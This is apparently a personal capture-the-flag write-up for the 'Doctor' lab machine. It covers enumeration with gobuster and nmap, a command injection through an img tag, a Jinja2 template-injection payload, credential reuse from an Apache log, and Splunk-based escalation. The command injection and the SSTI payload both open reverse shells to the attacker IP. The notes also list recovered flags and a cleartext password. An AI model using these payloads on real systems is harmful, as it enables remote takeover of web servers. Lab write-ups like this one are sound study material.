Tracker

  • User
  • root  

Loot

Proofs

FileFlag
user.txt845e6d643bedb2af426a1ac08bbfcb15
root.txt8d330a50e30ffbb0eb6a3cfa45f2e60e

Passwords

UsernameHashCleartextNotes
info@doctors.htb
shaunGuitar123Can use for su -, not ssh

Interesting Artifacts

ArtifactOriginal PathSaved PathNotes
Splunk build8.0.5

Summary

OS: Linux

Distribution: ?

Architecture: ?

FQDN: ?

vhosts: ?

Lessons Learned

<img src=http://10.10.14.18/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.18'$IFS'443')>

SSTI Discovery

Ok, I submitted a post with the title of {{5*5}}, THEN sent a request to /archive.

This time, it returned with 25, meaning the expression was evaluated.

Next I used the 'Exploit the SSTI by calling Popen without guessing the offset" exploit. I modified the code to open /bin/bash -I, instead of catting out flag.txt though.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.18\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

 Once that code was loaded, I made a request to /archive.

And I caught the rev shell.

nc -nvlp 443
listening on \[any\] 443 \...
connect to \[10.10.14.18\] from (UNKNOWN) \[10.10.10.209\] 55772
bash: cannot set terminal process group (899): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:\~\$

Solution

Open Ports

ssh on tcp/22
OpenSSH 8.2p1 Ubuntu

http on tcp/80
Apache httpd 2.4.41 ((Ubuntu))

httpd on tcp/8089
Splunkd httpd

Foothold

Ran autorecon against target.

What does ssh service nmap script scan report? Pubkey and password auth.

What about http service scan on tcp/80? There are a ton of comments detected. There are multiple valid html subpages. Gobuster will have more info. The web root page leaked the internal domain via an email address: info@doctors.htb. (I'll add domain to my /etc/hosts file).

Nothing new in whatweb.

robots.txt 404's.

What did gobuster dig up?

/about.html (Status: 200) \[Size: 19848\]
/blog.html (Status: 200) \[Size: 19848\]
/contact.html (Status: 200) \[Size: 19848\]
/css (Status: 301) \[Size: 310\]
/departments.html (Status: 200) \[Size: 19848\]
/fonts (Status: 301) \[Size: 312\]
/images (Status: 301) \[Size: 313\]
/index.html (Status: 200) \[Size: 19848\]
/js (Status: 301) \[Size: 309\]
/services.html (Status: 200) \[Size: 19848\]

Cool. What's at the home page? Looks like a standard ctf page, somewhat fleshed out. There's an href to youtube? Haven't seen that before.

cat scans/tcp_80_http_index.html\| grep href \| grep -v \"#\"
\<link rel=\"stylesheet\" href=\"fonts/icomoon/style.css\"\>
\<link rel=\"stylesheet\" href=\"css/bootstrap.min.css\"\>
\<link rel=\"stylesheet\" href=\"css/jquery-ui.css\"\>
\<link rel=\"stylesheet\" href=\"css/owl.carousel.min.css\"\>
\<link rel=\"stylesheet\" href=\"css/owl.theme.default.min.css\"\>
\<link rel=\"stylesheet\" href=\"css/owl.theme.default.min.css\"\>
\<link rel=\"stylesheet\" href=\"css/jquery.fancybox.min.css\"\>
\<link rel=\"stylesheet\" href=\"css/bootstrap-datepicker.css\"\>
\<link rel=\"stylesheet\" href=\"fonts/flaticon/font/flaticon.css\"\>
\<link rel=\"stylesheet\" href=\"css/aos.css\"\>
\<link rel=\"stylesheet\" href=\"css/style.css\"\>
\<div class=\"mb-0 site-logo\"\>\<a href=\"index.html\" class=\"mb-0\"\>Doctor\<span class=\"text-primary\"\>.\</span\> \</a\>\</div\>
\<li\>\<a href=\"index.html\" class=\"nav-link active\"\>Home\</a\>\</li\>
\<a href=\"services.html\" class=\"nav-link\"\>Services\</a\>
\<li\>\<a href=\"departments.html\" class=\"nav-link\"\>Departments\</a\>\</li\>
\<li\>\<a href=\"about.html\" class=\"nav-link\"\>About Us\</a\>\</li\>
\<li\>\<a href=\"blog.html\" class=\"nav-link\"\>Blog\</a\>\</li\>
\<li\>\<a href=\"contact.html\" class=\"nav-link\"\>Contact\</a\>\</li\>
\<a href=\"https://www.youtube.com/watch?v=vSndrIBTDUw\" data-fancybox class=\"btn-play\"\>\<span class=\"icon-play\"\>\</span\>\</a\>
Copyright &copy;\<script\>document.write(new Date().getFullYear());\</script\> All rights reserved \| This template is made with \<i class=\"icon-heart text-danger\" aria-hidden=\"true\"\>\</i\> by \<a href=\"https://colorlib.com\" target=\"\_blank\" \>Colorlib\</a\>

There was a list of doctors with full names, plus a blog post author name in the index.html source. I saved their names to users.txt.

There is a submittal form it looks like, but it's in javascript not a POST request?

Ok, what's the page itself look like in browser?

All the pages seen in gobuster are the same. Index.html takes me to an "It worked!" page though... Weird.

Now what about the nmap http service scan on tcp/8089? Auth service maybe found at /services. Robots file does exist. HTTP title is splunkd, is this like the Splunk data analytics tool? SSL cert indicates yeah, SplunkCommonCA, SplunkUser etc.

What was listed in robots.txt? Literally just /, so everything. Thanks.

What did gobuster find?

/robots.txt (Status: 200) \[Size: 26\]
/services (Status: 401) \[Size: 130\]
/v1 (Status: 200) \[Size: 2178\]
/v2 (Status: 200) \[Size: 2178\]
/v4 (Status: 200) \[Size: 2178\]
/v3 (Status: 200) \[Size: 2178\]

What does the index.html code look like? Ok, so it looks like this gives me a nice little topology of the first level directory structure? I'll start hitting the site in my browser so I can build a sitemap in Burp.

Ok, just hitting the main page led to a request getting sent to /services/auth/user.

This is the Splunk Atom Feed. Splunk build 8.0.5

Requesting /services though the main page link pops an auth alert window, same with servicesNS.

Ok, decided to search for exploits in e-db, found a few. The first listing for an RCE was 18245. The python code needed a non-standard module to import. Couldn't install from pip. Downloaded full package from e-db github as zip. Then created venv, activated, and installed the required import modules one at a time until the script ran.

Script wasn't working, realized it was from 2011, probably not want I want to be using.

Google search for splunkd 8.0.5 exploit led me to this blog post (https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/).

Splunk Univerasal Forwarder (UF) is what is accesible on host:8089. The links are protected API calls, and can be briute forced. User name is always admin. Password cannot be configured per agent, meaning if password is found/cracked it can likely be used on all Splunk UF hosts.

//BREAK//

God dammit lol. So I had added doctor.htb to my hosts file, NOT doctorS.htb.... After rechecking the email address and seeing this mistake, I re-ran gobuster and it came back with quite a few different results! This is obviously a totally different vhost.

gobuster dir -u <http://doctors.htb/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -l -x txt,html -o \"80_gobuster\_\_.txt\"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://doctors.htb/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
\[+\] Status codes: 200,204,301,302,307,401,403
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html
\[+\] Timeout: 10s
===============================================================
2020/12/05 12:49:08 Starting gobuster
===============================================================
/home (Status: 302) \[Size: 245\]
/login (Status: 200) \[Size: 4204\]
/archive (Status: 200) \[Size: 101\]
/register (Status: 200) \[Size: 4493\]
/account (Status: 302) \[Size: 251\]
/logout (Status: 302) \[Size: 217\]

What happens if I request / at this vhost? An authentication portal.

Ok, so what's in archive? An RSS feed? Not what I was hoping for.

Can I sqli auth bypass in the username field? Ran against username field, then password field, neither worked.

wfuzz -c \--hh=10 \--hc=200 -u <http://doctors.htb/login> -w \~/tools/host/wordlists/sqli-authbypass.txt -d \"email=FUZZ&password=admin&submit=Login\" 2\>&1 \| tee -a tcp_80_http_wfuzz_sqli_authbypass.txt

Oh snap, gobuster just found another page, /reset_password. Cant find any emails there.

Can I make an account? Yes! Used test, test@doctors.htb, and testpass.

What can I do here? Not much, I can post messages. I posted a test message, and saw that the url referenced is static and appears to be incrementing ++.

Post 1 is from user admin.

Let's re-run nmap http against this host specifically.

nmap -vv \--reason -Pn -sV -p 80 \--script=\"banner,(http\* or ssl\*) and not (brute or broadcast or dos or external or http-slowloris\* or fuzzer)\" -oN tcp_80_http_nmap_doctors.txt doctors.htb

Nothing much came up. I don't think there are any other messages posted. I tried enumerating with gobuster in all the folders, and only looks like there are the two messages, and the two users. Wait, it said Python in the header, does that mean I can inject python code into the html?

<img src=http://10.10.14.18/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.18'$IFS'443')>

What.

nc -nvlp 443 ─╯
listening on \[any\] 443 \...
connect to \[10.10.14.18\] from (UNKNOWN) \[10.10.10.209\] 50226
 
id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

Escalation from web to shaun

What's in my home folder?

web@doctor:\~\$ cat .python_history
cat .python_history
from flaskblog import db
exit
from flaskblog import db
db.create_all()
quit
quit()
from flaskblog import db
db.create_all()
quit
quit()
from flaskblog import db
db.create_all()
web@doctor:\~\$ cat blog.sh
cat blog.sh
#!/bin/bash
SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/run.py

Ok, my user web is a member of the adm group, along with the syslog user.

I can write to these out of the ordinary locations.

/var/crash
/var/lib/php/sessions
/var/lib/BrlAPI
/var/www/html
/var/metrics

The blog.sh file gets run as a crontab by my user.

While exploring the files I had access to in /var/log, I saw that I had access to all the files in the apache2 dub-directory. This included a file named backup.

web@doctor:/var/log/apache2\$ la
la
total 163M
-rw-r\-\-\-\-- 1 root adm 160M Dez 5 21:03 access.log
-rw-r\-\-\-\-- 1 root adm 6,5K Sep 28 15:02 access.log.1
-rw-r\-\-\-\-- 1 root adm 323 Aug 21 13:00 access.log.10.gz
-rw-r\-\-\-\-- 1 root adm 270 Aug 18 12:48 access.log.11.gz
-rw-r\--r\-- 1 root root 2,1M Jul 27 20:49 access.log.12.gz
-rw-r\-\-\-\-- 1 root adm 1,5K Sep 23 15:20 access.log.2.gz
-rw-r\-\-\-\-- 1 root adm 3,9K Sep 22 12:58 access.log.3.gz
-rw-r\-\-\-\-- 1 root adm 1,4K Sep 19 19:17 access.log.4.gz
-rw-r\-\-\-\-- 1 root adm 649K Sep 15 14:27 access.log.5.gz
-rw-r\-\-\-\-- 1 root adm 384 Sep 14 10:07 access.log.6.gz
-rw-r\-\-\-\-- 1 root adm 3,0K Sep 7 17:24 access.log.7.gz
-rw-r\-\-\-\-- 1 root adm 1,4K Sep 6 22:46 access.log.8.gz
-rw-r\-\-\-\-- 1 root adm 1,3K Sep 5 11:58 access.log.9.gz
-rw-r\-\-\-\-- 1 root adm 22K Sep 17 16:23 backup
-rw-r\-\-\-\-- 1 root adm 4,8K Dez 5 21:03 error.log
-rw-r\-\-\-\-- 1 root adm 4,1K Dez 5 13:48 error.log.1
-rw-r\-\-\-\-- 1 root adm 476 Sep 7 17:46 error.log.10.gz
-rw-r\-\-\-\-- 1 root adm 537 Sep 6 22:47 error.log.11.gz
-rw-r\-\-\-\-- 1 root adm 680 Sep 5 11:58 error.log.12.gz
-rw-r\-\-\-\-- 1 root adm 341 Sep 5 00:00 error.log.13.gz
-rw-r\-\-\-\-- 1 root adm 230 Aug 21 13:07 error.log.14.gz
-rw-r\-\-\-\-- 1 root adm 1,1K Sep 23 15:42 error.log.2.gz
-rw-r\-\-\-\-- 1 root adm 846 Sep 22 13:03 error.log.3.gz
-rw-r\-\-\-\-- 1 root adm 655 Sep 22 10:40 error.log.4.gz
-rw-r\-\-\-\-- 1 root adm 352 Sep 19 00:00 error.log.5.gz
-rw-r\-\-\-\-- 1 root adm 424 Sep 18 00:00 error.log.6.gz
-rw-r\-\-\-\-- 1 root adm 428 Sep 17 00:00 error.log.7.gz
-rw-r\-\-\-\-- 1 root adm 629 Sep 16 00:00 error.log.8.gz
-rw-r\-\-\-\-- 1 root adm 460 Sep 15 00:00 error.log.9.gz
-rw-r\--r\-- 1 root root 0 Jul 27 17:10 other_vhosts_access.log

I ran head and tail on the file, and saw that all dates were logged as Sept 05.

web@doctor:/var/log/apache2\$ head backup
head backup
10.10.14.4 - - \[05/Sep/2020:11:09:48 +0200\] \"\\x16\\x03\" 400 0 \"-\" \"-\"
10.10.14.4 - - \[05/Sep/2020:11:09:48 +0200\] \"t3 12.1.2\\n\" 400 0 \"-\" \"-\"
10.10.14.4 - - \[05/Sep/2020:11:09:48 +0200\] \"PROPFIND / HTTP/1.1\" 405 521 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:09:48 +0200\] \"GET /.git/HEAD HTTP/1.1\" 404 453 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:09:49 +0200\] \"GET /nmaplowercheck1599231606 HTTP/1.1\" 404 453 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:09:49 +0200\] \"POST / HTTP/1.1\" 200 11192 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:09:49 +0200\] \"GET /robots.txt HTTP/1.1\" 404 453 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:09:49 +0200\] \"OPTIONS / HTTP/1.1\" 200 181 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:09:50 +0200\] \"GET / HTTP/1.1\" 200 11192 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:09:50 +0200\] \"PROPFIND / HTTP/1.1\" 405 521 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
web@doctor:/var/log/apache2\$ tail backup
tail backup
10.10.14.4 - - \[05/Sep/2020:11:58:15 +0200\] \"GET /home HTTP/1.1\" 503 565 \"-\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:16 +0200\] \"GET /home HTTP/1.1\" 503 565 \"-\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:18 +0200\] \"GET /home HTTP/1.1\" 503 565 \"-\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:21 +0200\] \"GET /home HTTP/1.1\" 503 565 \"-\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:22 +0200\] \"GET /home HTTP/1.1\" 200 1562 \"-\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:22 +0200\] \"GET /static/main.css HTTP/1.1\" 200 866 \"<http://doctor.htb/home>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:23 +0200\] \"GET /static/profile_pics/default.gif HTTP/1.1\" 304 276 \"<http://doctor.htb/home>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:28 +0200\] \"GET /register HTTP/1.1\" 200 1703 \"<http://doctor.htb/home>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:32 +0200\] \"GET /login HTTP/1.1\" 200 1727 \"<http://doctor.htb/register>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:58:35 +0200\] \"GET / HTTP/1.1\" 200 1561 \"<http://doctor.htb/login>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"

Ok, so did anyone post anythign interesting to the box in that time?

web@doctor:/var/log/apache2\$ cat backup \| grep POST
cat backup \| grep POST
10.10.14.4 - - \[05/Sep/2020:11:09:49 +0200\] \"POST / HTTP/1.1\" 200 11192 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:10:28 +0200\] \"POST /sdk HTTP/1.1\" 404 453 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:10:28 +0200\] \"POST / HTTP/1.1\" 200 11192 \"-\" \"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)\"
10.10.14.4 - - \[05/Sep/2020:11:17:24 +0200\] \"POST /register HTTP/1.1\" 302 676 \"<http://doctor.htb/register>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:17:34 +2000\] \"POST /reset_password?email=Guitar123\" 500 453 \"<http://doctor.htb/reset_password>\"
10.10.14.4 - - \[05/Sep/2020:11:17:34 +0200\] \"POST /login HTTP/1.1\" 302 732 \"<http://doctor.htb/login>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"
10.10.14.4 - - \[05/Sep/2020:11:17:43 +0200\] \"POST /post/new HTTP/1.1\" 302 797 \"<http://doctor.htb/post/new>\" \"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\"

That certainly looks like a password, Guitar123. Can I SSH in to the box as shaun with that? No.

Can I su -? yes.

web@doctor:/var/log/apache2\$ su - shaun
su - shaun
Password: Guitar123

User Compromise

EoP Enumeration

I ran LSE again to see if anything new came up. I didn't notice anythign off the bat, but on review the splunkd process is running as root, and something is listening on localhost tcp/5000.

Ok. So that splunk shit I tried earlier was an authenticated exploit, and none of the default credentials were working, and neither was brute forcing it. Could I exploit it with these credentials for user shaun? Yup, that worked.

root Compromise


Next: Bankrobber